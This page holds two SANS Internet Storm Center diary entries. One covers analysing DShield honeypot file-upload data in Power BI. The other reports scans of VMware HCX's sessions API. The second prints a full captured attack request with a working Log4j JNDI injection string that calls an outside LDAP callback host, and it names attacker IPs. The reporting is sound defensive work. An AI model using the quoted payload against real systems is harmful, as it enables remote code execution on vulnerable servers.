File Hashes Analysis with Power BI from Data Stored in DShield SIEM
I previously used Power BI [2] to analyze DShield sensor data and this time I wanted to show how it could be used by selecting certain type of data as a large dataset and export it for analysis. This time, I ran a query in Elastic Discover and exported that data to analyze it in PowerBI into a CSV format. The first step was to run a query in Discover and select the past 60 days with the following query: file.name : *
Next was to export that data in a CSV file: Kibana_Export_CSV
Next step is to import the data into Power BI for analysis. In Power BI, Select Excel workbook and select all files and open the file you exported from Kibana followed by Load. From the interface, start building the visualization you want to analyze.
First, configure the @timestamp to split the date and time by selecting Transform data and right click on the @timestamp to Remove Duplicates to create 2 columns:
Step1
Step 2 - Delimiter set to @
Step 3 - Result
Now that we are setup, we can start building the visualization using the data that was imported. This is an overall visualization that I put together after importing my data
Data Manipulation
My first selection is going to be the top IP 87.120.113[.]231 to see it is only active in Jan and Feb ending on the 13 Feb 2025 (darker blue).
Noticed the graph shows the IP is pretty much active daily and has uploaded the 6 different files associated with RedTail [3] and has multiple hashes for each filename except for clean.sh and setup.sh which never changed with a count of 276.
The next selection is the filename eyshcjdmzg [4] which I previously published in a diary in April 2024 where the filename and hash is the same as the top hash in that diary. In that diary, the only IP captured by the sensor was 218.92.0[.]60, in the past 60 days, the sources are from the same subnet but the IPs have changed to 218.92.0[.]131 & 218.92.0[.]132.
Strange Filename
On the 20 January 2025, filename rktgw4Ir was uploaded by 87.154.189[.]196. On the 31 January 2025, filename P7TjdNkM was uploaded by IP 79.7.197[.]84. In order to find more information about both of these filenames, I queried the SIEM to get additional information. I checked the hash against VirusTotal [5] and this one was an IRCBot.
By exporting a large dataset, it is possible to see data that might get missed or lost in this data and maybe worth another look via retrospective analysis. Happy hunting!
[1] https://www.microsoft.com/en-us/download/details.aspx?id=58494
[2] https://isc.sans.edu/diary/Analysis+of+SSH+Honeypot+Data+with+PowerBI/28872
[3] https://isc.sans.edu/diary/Examining+Redtail+Analyzing+a+Sophisticated+Cryptomining+Malware+and+its+Advanced+Tactics+Guest+Diary/31568
[4] https://isc.sans.edu/diary/Linux+Trojan+Xorddos+with+Filename+eyshcjdmzg/30880
[5] https://www.virustotal.com/gui/file/6d1fe6ab3cd04ca5d1ab790339ee2b6577553bc042af3b7587ece0c195267c9b
[6] https://isc.sans.edu/diary/DShield+Traffic+Analysis+using+ELK/31742
-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu
Scans for VMWare Hybrid Cloud Extension (HCX) API (Log4j - not brute forcing)
Today, I noticed increased scans for the VMWare Hyprid Cloud Extension (HCX) "sessions" endpoint. These endpoints are sometimes associated with exploit attempts for various VMWare vulnerabilities to determine if the system is running the extensions or to gather additional information to aid exploitation.
Initially, based on the URL, I suspected brute forcing. However, after reviewing some complete requests (see below), it turns out that these attempts are exploiting the Log4j vulnerability.
The specific URL seen above is
/hybridity/api/sessions
This particular request is likely used to brute force credentials. the "sessions" endpoint expects a JSON payload with the username and payload like:
{
"authtype": "password",
"username": "admin",
"password": "somecomplexpassword"
}
The response will either be a 401 response if the authentication failed or a 200 response if it succeeded. A successful response includes a "sessionId", which will be used as a bearer token to authenticate additional requests.
UPDATED ANALYSIS
Initially, I did not have access to the request payload. However, after reviewing the payload of a few samples, it looks like these are not brute-force attempts. Instead, they are exploiting the Log4j vulnerability via the "username" parameter, which is likely logged and VMware is using the Log4j library and was vulnerable to the related vulnerability.
Complete request:
POST /hybridity/api/sessions HTTP/1.1
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Content-Length: 169
Accept: application/json
Content-Type: application/json
Origin: https://[victim IP]:4443
Accept-Encoding: gzip
{\r\n "authType": "password",\r\n "username": "${jndi:ldap://${:-670}${:-930}.${hostName}.username.cv7u8tq2cnhfm80gc3n0npwaauo98azq9.oast.live}",\r\n "password": "admin"\r\n}
So far, we see these requests mostly from one IP address: 107.173.125.163 using randomized valid user agents. The IP address was first seen yesterday in our logs and is scanning for Log4j vulnerable systems, particularly by accessing login pages. These other attempts likely use a payload similar to the request above. See this page for a complete list of requests sent by this IP address.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Comments